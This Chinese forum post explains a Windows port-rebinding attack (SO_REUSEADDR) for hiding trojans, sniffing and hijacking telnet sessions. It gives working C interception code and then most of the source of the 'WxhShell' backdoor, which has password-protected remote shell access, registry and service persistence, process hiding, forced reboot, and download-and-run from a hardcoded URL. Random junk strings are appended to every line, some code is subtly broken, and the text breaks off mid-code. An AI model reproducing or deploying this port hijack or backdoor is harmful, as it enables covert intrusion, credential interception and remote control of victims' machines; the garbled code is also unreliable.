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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }42qMOi#w1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <Z:8~:@  
%>9+1lUhV  
  saddr.sin_family = AF_INET; u4,X.3V]A  
b}&7~4zw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +}XL>=-5  
3^R][;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tZu*Asx7  
`Ivw`}L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z++Z@J"  
5*wApu{2A  
  这意味着什么?意味着可以进行如下的攻击: ?WQd  
'Rkvsch  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r;on0wm&B  
.1}rzh}8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]AZ\5C-J  
M`+e'vdw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !P60[*>  
O})u'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N~S[xS?  
0I>?_?~l6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SeNF!k% Y  
.W@4vrp@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K[LVT]3 n  
q"LJwV}W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y }&4HrT&  
WW [`E  
  #include N{ V5 D  
  #include "gbnLKs  
  #include q?Ku}eID3  
  #include    MX`Wg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `mKlv~$1^  
  int main() > 0Twr  
  { BsK|:MM]  
  WORD wVersionRequested; aFr!PQp4{  
  DWORD ret; k99gjL`  
  WSADATA wsaData; 6a%:zgkOpu  
  BOOL val; -_EY$ ?4  
  SOCKADDR_IN saddr; )`s;~_ZZ  
  SOCKADDR_IN scaddr; uH ny ]  
  int err; Cwsoz  
  SOCKET s; Ck3QrfM  
  SOCKET sc; ?zhI=1 ED%  
  int caddsize; 3Zaq#uA  
  HANDLE mt; x7KcO0F{  
  DWORD tid;   E)80S.V  
  wVersionRequested = MAKEWORD( 2, 2 ); qb-2QPEB  
  err = WSAStartup( wVersionRequested, &wsaData ); RQo$iISwy  
  if ( err != 0 ) { $d2kHT  
  printf("error!WSAStartup failed!\n"); {8{t]LK<  
  return -1; 8_<&f%/  
  } esh$*)1  
  saddr.sin_family = AF_INET; a81!~1A  
   ^x_ >r6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;zZ,3pl-E  
ovQS ET18b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LZUA+x(  
  saddr.sin_port = htons(23); d DIQ+/mmg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ! v-w6WG"  
  { K9C@dvFH  
  printf("error!socket failed!\n"); 4V228>9w  
  return -1; = GH@.3`X  
  } H]tSb//qc  
  val = TRUE; N#RD:"RS!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 462!;/ y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 192.W+H<  
  { VBbUl|X\  
  printf("error!setsockopt failed!\n"); Tsm1C#6 Y*  
  return -1; JNxW6 cK  
  } g,n-s+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^ea RgNz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5:*5j@/S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Avs7(-L+s  
-SQJH}zCT+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QmH/yy3.%  
  { d7W%zg\T  
  ret=GetLastError(); FX|0R#4vm  
  printf("error!bind failed!\n"); J0?$v6S  
  return -1; Jw:Fj {D  
  } ub`z7gL  
  listen(s,2); /'&.aGW4%  
  while(1) *Nv y+V  
  { k_*XJ<S!Y  
  caddsize = sizeof(scaddr); CF3E]dt  
  //接受连接请求 Ynv9&P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lFiq<3Nk  
  if(sc!=INVALID_SOCKET) ->&BcPLn  
  { LKR==;qn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "xD}6(NL(r  
  if(mt==NULL) DL'd&;6  
  { |`_ <@b  
  printf("Thread Creat Failed!\n"); E1c>nrnh*  
  break; 9,S,NvSq  
  } BGB,Gb  
  } xHEVR!&c4  
  CloseHandle(mt); Q7CwQi  
  } 6-*~ t8  
  closesocket(s); 457fT|  
  WSACleanup(); tXf}jU}  
  return 0; 2j8Cv:{Nn%  
  }   sTKab :  
  DWORD WINAPI ClientThread(LPVOID lpParam) ELN|;^-/|Q  
  { xNC* ]8d  
  SOCKET ss = (SOCKET)lpParam; }': EJ~H  
  SOCKET sc; /{fZH,!L  
  unsigned char buf[4096]; P<>[e9|  
  SOCKADDR_IN saddr; Rz.i/w g}  
  long num; :0M' =~[  
  DWORD val; Ff[H>Lp~  
  DWORD ret; u{g]gA8s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :FoO Q[Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <WM -@J(1  
  saddr.sin_family = AF_INET; x9xzm5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DgDSVFk ~  
  saddr.sin_port = htons(23); 2-8YSHlh  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .HyjL5r-  
  { }Q`/K;yq  
  printf("error!socket failed!\n"); pGY [f@_x-  
  return -1;  Y[f,ia  
  } b%3Q$wIJ6  
  val = 100; W:`5nj]H9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E/:+@'(k  
  { e.h~[^zg  
  ret = GetLastError(); a4yOe*Ak,F  
  return -1; tW:W&|q  
  } @kwLBAK}@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sEoZ1E  
  { N1YgYL  
  ret = GetLastError(); )2) Zz +<  
  return -1; D8k*0ei&  
  } =Ml|l$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @b]VCv0*f%  
  { C@ FxB[  
  printf("error!socket connect failed!\n"); x HY+q ;  
  closesocket(sc); M{*kB2jr  
  closesocket(ss); &@=u+)^-{  
  return -1; `ajx hp  
  } h^['rmd  
  while(1) 9Tqn zD  
  { W=~id"XtJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "w;08TX8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M_tj7Q3 W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zXQVUhL6  
  num = recv(ss,buf,4096,0); 3|q2rA  
  if(num>0) 86/.8  
  send(sc,buf,num,0); ''_,S,.a20  
  else if(num==0) 1pWk9Xuh  
  break; t G]N*%@  
  num = recv(sc,buf,4096,0); .JNcY]V#  
  if(num>0) 0o;k?4aP.c  
  send(ss,buf,num,0); ]9fS@SHdx  
  else if(num==0) F\;2 i:(  
  break; ]AFj&CteZ/  
  } l &}piC  
  closesocket(ss); -_s%8l^  
  closesocket(sc); DD2adu^  
  return 0 ; IS-}:~Pi  
  } 7Aqn[1{_O  
,r@xPZPz:e  
)r=9]0=  
========================================================== "P MO  
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下边附上一个代码,,WXhSHELL :eSc;  
Pl_^nFm0  
========================================================== jh>N_cp  
37#cx)p^f  
#include "stdafx.h" ]n~yp5Nbr  
{!lNL[x  
#include <stdio.h> P_Z M'[  
#include <string.h> 2>g^4(  
#include <windows.h> ]Fxku<z7|  
#include <winsock2.h> vxb@9 eb!H  
#include <winsvc.h> ol50d73B  
#include <urlmon.h> : -E,   
B@d1xjp)']  
#pragma comment (lib, "Ws2_32.lib") M/*Bh,M`  
#pragma comment (lib, "urlmon.lib") *K`x;r  
iM8sX B  
#define MAX_USER   100 // 最大客户端连接数 \e_IFISC  
#define BUF_SOCK   200 // sock buffer Ih; aBS  
#define KEY_BUFF   255 // 输入 buffer S[Vtq^lU  
|0lLl^zp  
#define REBOOT     0   // 重启 Qr<AV:  
#define SHUTDOWN   1   // 关机 U4]30B{;H  
i)=m7i  
#define DEF_PORT   5000 // 监听端口 X|,["Az 8  
Pv~:gP  
#define REG_LEN     16   // 注册表键长度 ]Z=Ij gr$  
#define SVC_LEN     80   // NT服务名长度 U4=]#=R~o  
NJk)z&M  
// 从dll定义API ;3mL^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >8%M*-=p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ha?G=X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lHcA j{6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vlvvi()  
Cb4_ ?OR0  
// wxhshell配置信息 ]{<saAmJC  
struct WSCFG { 2.ew^D#  
  int ws_port;         // 监听端口 :Pc(DfkS  
  char ws_passstr[REG_LEN]; // 口令 3+ e4e  
  int ws_autoins;       // 安装标记, 1=yes 0=no d<!IGt4Ky  
  char ws_regname[REG_LEN]; // 注册表键名 C1 tb`  
  char ws_svcname[REG_LEN]; // 服务名 UAdz-)$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hv3;irK]&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <Kg2$lu(_`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *-6?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iM"asEU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D'<$ g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d bCNhbN(  
w;~>k%}j  
}; r|<6Aae&  
oooS s&t  
// default Wxhshell configuration Y|_O8[  
struct WSCFG wscfg={DEF_PORT, nX)f'[ 7  
    "xuhuanlingzhe", g@Ld"5$^2  
    1, &Bm&i.r  
    "Wxhshell", bf1)M>g,O  
    "Wxhshell", ) y`i@S}J  
            "WxhShell Service", 5\xr?`VZ  
    "Wrsky Windows CmdShell Service", H$Kw=kMw  
    "Please Input Your Password: ", se#@)LtZ  
  1, MF^_Z3GS'  
  "http://www.wrsky.com/wxhshell.exe", [z2eCH  
  "Wxhshell.exe" bi.wYp(*6L  
    }; Xo\S9,s{  
$2QYxY9s  
// 消息定义模块 cW; H!:&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9)Ly}Kzx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *,0+RASvq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YtpRy% R  
char *msg_ws_ext="\n\rExit."; 2[ksi51y  
char *msg_ws_end="\n\rQuit."; ?~Pv3'%d  
char *msg_ws_boot="\n\rReboot..."; Y([d;_#P  
char *msg_ws_poff="\n\rShutdown..."; _KN: o10U  
char *msg_ws_down="\n\rSave to "; Ev{MCu1!6  
w:Ra7ExP  
char *msg_ws_err="\n\rErr!"; $R?@L  
char *msg_ws_ok="\n\rOK!"; Ik Qe~;Y  
|g!`\@O  
char ExeFile[MAX_PATH]; s%O Y<B@V2  
int nUser = 0; 4v Lw?_".  
HANDLE handles[MAX_USER]; /kRAt^4!  
int OsIsNt; +j.qZ8  
Q ?^4\_  
SERVICE_STATUS       serviceStatus; Lc%xc`n8B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e^8BV;+c  
y6FKg)  
// 函数声明 )b9_C O}  
int Install(void); 'BhwNuW\"  
int Uninstall(void); @D]lgq[  
int DownloadFile(char *sURL, SOCKET wsh); \E77SO,$  
int Boot(int flag); 5B?i(2&#  
void HideProc(void); z&F5mp@  
int GetOsVer(void); 7h`^N5H.q  
int Wxhshell(SOCKET wsl); H99xZxHZ{  
void TalkWithClient(void *cs); L#2ZMy  
int CmdShell(SOCKET sock); Z9VR]cf?  
int StartFromService(void); [~)x<=H8{  
int StartWxhshell(LPSTR lpCmdLine); M*(H)i;s:w  
\7 Gz\=\LR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tF%QH[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uXpv*i {R  
' %&z.{  
// 数据结构和表定义 I0_Ecp  
SERVICE_TABLE_ENTRY DispatchTable[] = N571s  
{ ,56;4)cv  
{wscfg.ws_svcname, NTServiceMain}, u{Ak:0G7  
{NULL, NULL} l `R KqT+  
}; N&m_e)E5c  
5gshKmt_  
// 自我安装 V&iS~V0.  
int Install(void) PS}73Y#  
{ {OP~8e"  
  char svExeFile[MAX_PATH]; 6.19g'{sB  
  HKEY key; 1qZG`Vz  
  strcpy(svExeFile,ExeFile); >pdnCv_c  
O:YJ%;w  
// 如果是win9x系统,修改注册表设为自启动 ZLrHZhP-+  
if(!OsIsNt) { V%51k{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r]T0+oQ>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T,OS0;7O  
  RegCloseKey(key); :j,}{)5=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $DE&J4K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y[um|M315  
  RegCloseKey(key); `{o$F ::(  
  return 0; RG}}Oh="v  
    } ,H{={aln  
  } 4.w"(v9V  
} MUwxgAG`G  
else { N}mh}  
~},W8\C>  
// 如果是NT以上系统,安装为系统服务 ]\dHU.i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t^U^Tr  
if (schSCManager!=0) Ao"C<.gUYP  
{ 2y%R:Mu  
  SC_HANDLE schService = CreateService BIj   
  ( Dr+Ps  
  schSCManager, 328L)BmW  
  wscfg.ws_svcname, ~OCZz$qA  
  wscfg.ws_svcdisp, H+x#gK2l  
  SERVICE_ALL_ACCESS, lDN?|YG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q3+8]-9|5  
  SERVICE_AUTO_START, D/:3R ZF  
  SERVICE_ERROR_NORMAL, no&-YktP}  
  svExeFile, YtYy zX5u7  
  NULL, th 2<o5  
  NULL, b-%l-u  
  NULL, + zp0" ,2B  
  NULL, :0I l|aB  
  NULL &S-er{]]  
  ); ;4kT?3$l  
  if (schService!=0) %/pc=i|+  
  { &*gbK6JB  
  CloseServiceHandle(schService); y-a|Lu*  
  CloseServiceHandle(schSCManager); E1(1E?}!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^P$7A]!  
  strcat(svExeFile,wscfg.ws_svcname); V3uXan_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B^q<2S;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T 6HU*(  
  RegCloseKey(key); WcEt%mGQ,  
  return 0; wOg,SMiq  
    } %{'4. ,  
  } _ECB^s_  
  CloseServiceHandle(schSCManager); iLtc HpN  
} #jP/k.  
} %l|\of7P2}  
|';7v)CIG  
return 1; ,LUTHWEo"I  
} 7I >J$"  
@i1q]0  
// 自我卸载 gtYRV*^q  
int Uninstall(void) "8/dD]=f^a  
{ !y*oF{RZ  
  HKEY key; U^?= 0+  
.NnGVxc5*  
if(!OsIsNt) { 1;&T^Gdj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tX?J@+  
  RegDeleteValue(key,wscfg.ws_regname); iN)af5)[^  
  RegCloseKey(key); M-Sv1ZLh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ti9}*8  
  RegDeleteValue(key,wscfg.ws_regname); &t3Jv{  
  RegCloseKey(key); Ue7 6py9  
  return 0; [:B*6FXMN~  
  } WQKj]:qk0  
} OKPJuV`y6  
} _tWE8 r,  
else { [{cC  
HJ@5B"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m =k%,J_  
if (schSCManager!=0) v3-?CQb(  
{ I%xn,u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \_U*t!  
  if (schService!=0) &t_h'JX&  
  { c#pj:f*H  
  if(DeleteService(schService)!=0) { (.Xr#;\(  
  CloseServiceHandle(schService); t)r1"oA  
  CloseServiceHandle(schSCManager); PAoX$q  
  return 0; o , LK[Q  
  } ?OsS`)T  
  CloseServiceHandle(schService); y x;h  
  } X4Xf2aXI  
  CloseServiceHandle(schSCManager); j-32S!  
} 6?o>{e7n^  
} @a(oB.i  
asz?p\k:bC  
return 1; }\Z5{OA  
} aYVDp{_  
ikHOqJ-,m  
// 从指定url下载文件 p(?3 V  
int DownloadFile(char *sURL, SOCKET wsh) ps+:</;Z  
{ )4uq iA6  
  HRESULT hr; y<M]dd$  
char seps[]= "/"; :hP58 }Q$  
char *token; !01i%W'  
char *file; !<r8~A3!(  
char myURL[MAX_PATH]; [H^ X"D  
char myFILE[MAX_PATH]; _}ele+  
{D,RU8&  
strcpy(myURL,sURL); l%<c6;  
  token=strtok(myURL,seps); 6LM9e0oxy  
  while(token!=NULL) 9v~5qv;  
  { %U?)?iZdL  
    file=token; oMc1:=EG  
  token=strtok(NULL,seps); 40.AM1Z0f  
  } hdg<bZk:  
v[L[A3`"/  
GetCurrentDirectory(MAX_PATH,myFILE); P) 1 EA;  
strcat(myFILE, "\\"); HNMBXXf, B  
strcat(myFILE, file); DL4iXULNY  
  send(wsh,myFILE,strlen(myFILE),0); sHsg_6~  
send(wsh,"...",3,0); !Uy>eji}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e1 ^l.>2d6  
  if(hr==S_OK) uV77E*+7\  
return 0; +c?ie4   
else ^Y 7U1I  
return 1; ,8VXA +'_  
yVYkuO  
} >76 |:Nq  
<Uwwux<v  
// 系统电源模块 U>A6eWhH  
int Boot(int flag) ImHU:iR[J-  
{ jL_5]pzJ  
  HANDLE hToken; a8QfkOe  
  TOKEN_PRIVILEGES tkp; G_(ct5:_"!  
)7AM3%z1?  
  if(OsIsNt) { Efr3x{ j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4Py3I9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D|TR!  
    tkp.PrivilegeCount = 1; b1)\Zi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; veO?k.u(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z= ik{/  
if(flag==REBOOT) { f4 O]`U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]]y[t|6  
  return 0; PbN3;c3  
} hBy*09Sv  
else { ,qu:<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s41adw>  
  return 0; e~ BJvZ}Q  
}  mn`5pha  
  } y5%5O xB  
  else { G?ZC 9w]rA  
if(flag==REBOOT) { mATH*[Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5rN7':(H!%  
  return 0; ?i%nMlcc  
} b9#m m  
else { JV%nH! Fs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zq=&4afOE  
  return 0; DKHM\yt  
} U' M|=I'  
} ;sQ2 0 B'  
#JFYws  
return 1; )Y[/!  
} 0%H24N 9.  
}VZM,.w  
// win9x进程隐藏模块 8<c' x]~  
void HideProc(void) +C5#$5];  
{ XHNkQe  
X+*<B(E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %ET # z!  
  if ( hKernel != NULL ) ?RJdn]`4j  
  { 07Y_^d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X TM$a9)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s9 &)Fv-#V  
    FreeLibrary(hKernel); 4 +I 3+a"  
  } C[0MA ,^  
ogp{rY  
return; g/B\ObY  
} MYu`c[$jZ  
-)>(8f  
// 获取操作系统版本 Rv,Mu3\~#c  
int GetOsVer(void) iLQSa7  
{ )*W=GY*  
  OSVERSIONINFO winfo; F {/>u(@3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +K&?)?/=  
  GetVersionEx(&winfo); *?p ^6vO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [9J:bD  
  return 1; r;'i<t{P  
  else sX!3_ '-  
  return 0; Wt"ww~h`(  
} z6 a,0&;-L  
Q!`)e@r  
// 客户端句柄模块 XJ O[[G`  
int Wxhshell(SOCKET wsl) nfa_8  
{ '(TmV#3  
  SOCKET wsh; ?N`qLGRm  
  struct sockaddr_in client; cB<O.@  
  DWORD myID; |zh +  
eX@ v7i,}  
  while(nUser<MAX_USER) "&Gw1.p  
{ U Q)!|@&  
  int nSize=sizeof(client); R~$hWu}}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HS(U4   
  if(wsh==INVALID_SOCKET) return 1; F:S"gRKz  
G"{4'LlA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \Vz,wy%-  
if(handles[nUser]==0) 2'Y{FY_Z  
  closesocket(wsh); nPcxknl(pd  
else a^(2q{*  
  nUser++; ^glX1 )  
  } {N "*olx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9lKRL'QR  
}|SIHz!R  
  return 0; "% SX@  
} aDN.gM S  
X8i[fk1.R  
// 关闭 socket \FVNXU MU  
void CloseIt(SOCKET wsh) B#QL M^  
{ u |'8a1  
closesocket(wsh); [z^Od  
nUser--; !ZX&r{pJp  
ExitThread(0); o>.AdZby  
} 2G ZF/9}  
r1+c/;TpZ  
// 客户端请求句柄 O/(3 87=U  
void TalkWithClient(void *cs) k{_1r;  
{ 0u>yT?jP  
s:3aRQ%  
  SOCKET wsh=(SOCKET)cs; g%ZdIKj!  
  char pwd[SVC_LEN]; k&yQ98H$K"  
  char cmd[KEY_BUFF]; UmYD]  
char chr[1]; 1E8$% 6VV  
int i,j; uL bp.N8  
)y(oHRCp->  
  while (nUser < MAX_USER) { xna7kA  
^)Smv\Md  
if(wscfg.ws_passstr) { bB y'v/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ywmyr[Uh'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); akMJ4EF/  
  //ZeroMemory(pwd,KEY_BUFF);  ccRlql(  
      i=0; )4@M`8  
  while(i<SVC_LEN) { tB]`Hj  
3\,MsoAl  
  // 设置超时 ~KJ,SLzhx9  
  fd_set FdRead; @51z-T  
  struct timeval TimeOut; l +|1G  
  FD_ZERO(&FdRead); XMomFW_@  
  FD_SET(wsh,&FdRead); 15o9CaQw4"  
  TimeOut.tv_sec=8; yq1Gqbh l  
  TimeOut.tv_usec=0; qI(W$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aXQ&@BZ {j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ad^dF'SN  
SE6>vKR/.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7F"3<U@J  
  pwd=chr[0]; 3(MoXA*  
  if(chr[0]==0xd || chr[0]==0xa) { >ze>Xr'm5=  
  pwd=0; $K`_ K#A  
  break; 4A;[s m^f  
  } dUI3erO  
  i++; 3(aRs?/ O  
    } MgHOj   
mluW=fE  
  // 如果是非法用户,关闭 socket p 7 , f6kG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [SK2x4  
} ]gH wfqx  
TViBCed40  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2=jd;2~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kZJt ~}  
eH ;Wfs2f  
while(1) { o^8*aH)I>Y  
f;e_04K  
  ZeroMemory(cmd,KEY_BUFF); :x8Jy4L  
=g/4{IL%  
      // 自动支持客户端 telnet标准   d#E(~t(^  
  j=0; -K:yU4V  
  while(j<KEY_BUFF) { (}9cD^F0n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i:C.8hmAE  
  cmd[j]=chr[0]; NKRaQ r  
  if(chr[0]==0xa || chr[0]==0xd) { c'"#q)  
  cmd[j]=0; wYZy e^7  
  break; W/b"a?wE{  
  } s.f`.o  
  j++; B0 6s6Q  
    } AmP#'U5  
ue,#, 3{m  
  // 下载文件 -L+\y\F  
  if(strstr(cmd,"http://")) { rdXCWK$E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 98X!uh'  
  if(DownloadFile(cmd,wsh)) ?lu_}t]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,lrYl!,  
  else kEp.0wL'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X(4s;i  
  } <E D8"~_  
  else { O]c=Yyl  
co \[{}}  
    switch(cmd[0]) { "2*G$\  
  GwTT+  
  // 帮助 ^`l"'6  
  case '?': { 8dV.nO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l\q*%'Pe  
    break; 6"BtfQ")  
  } W Atg  
  // 安装 j9{O0[v  
  case 'i': {  Ask' !  
    if(Install()) |z.Gh1GCy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H+S~ bzz  
    else Ly#h|)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C!oS=qK?]  
    break; RY>)eGJ  
    } pem3G5 `g=  
  // 卸载 CnxK+1n l  
  case 'r': { SZCF3m&pz  
    if(Uninstall()) L~@ma(TV{K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E"Ya-8d=  
    else kWzuz#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j lYD~)  
    break; ..vSL  
    } o?:;8]sr!  
  // 显示 wxhshell 所在路径 '"!z$i~G=  
  case 'p': { `,F&y{ A  
    char svExeFile[MAX_PATH]; u5xU)l3  
    strcpy(svExeFile,"\n\r"); >wz;}9v  
      strcat(svExeFile,ExeFile); y #hga5  
        send(wsh,svExeFile,strlen(svExeFile),0); <;2P._oZ  
    break; 8QkWgd7y  
    } kvMk:.  
  // 重启 Qv9*p('~A  
  case 'b': { hgTM5*fD}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -@EBbM&  
    if(Boot(REBOOT)) zvek2\*rO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q'n(^tbL  
    else { jF%)Bhn(  
    closesocket(wsh); r Iya\z1W  
    ExitThread(0); ek<PISlci  
    } hQgk.$g  
    break; 2ApDpH`fiJ  
    } ,pQ'w7  
  // 关机 MgJ%26TZ  
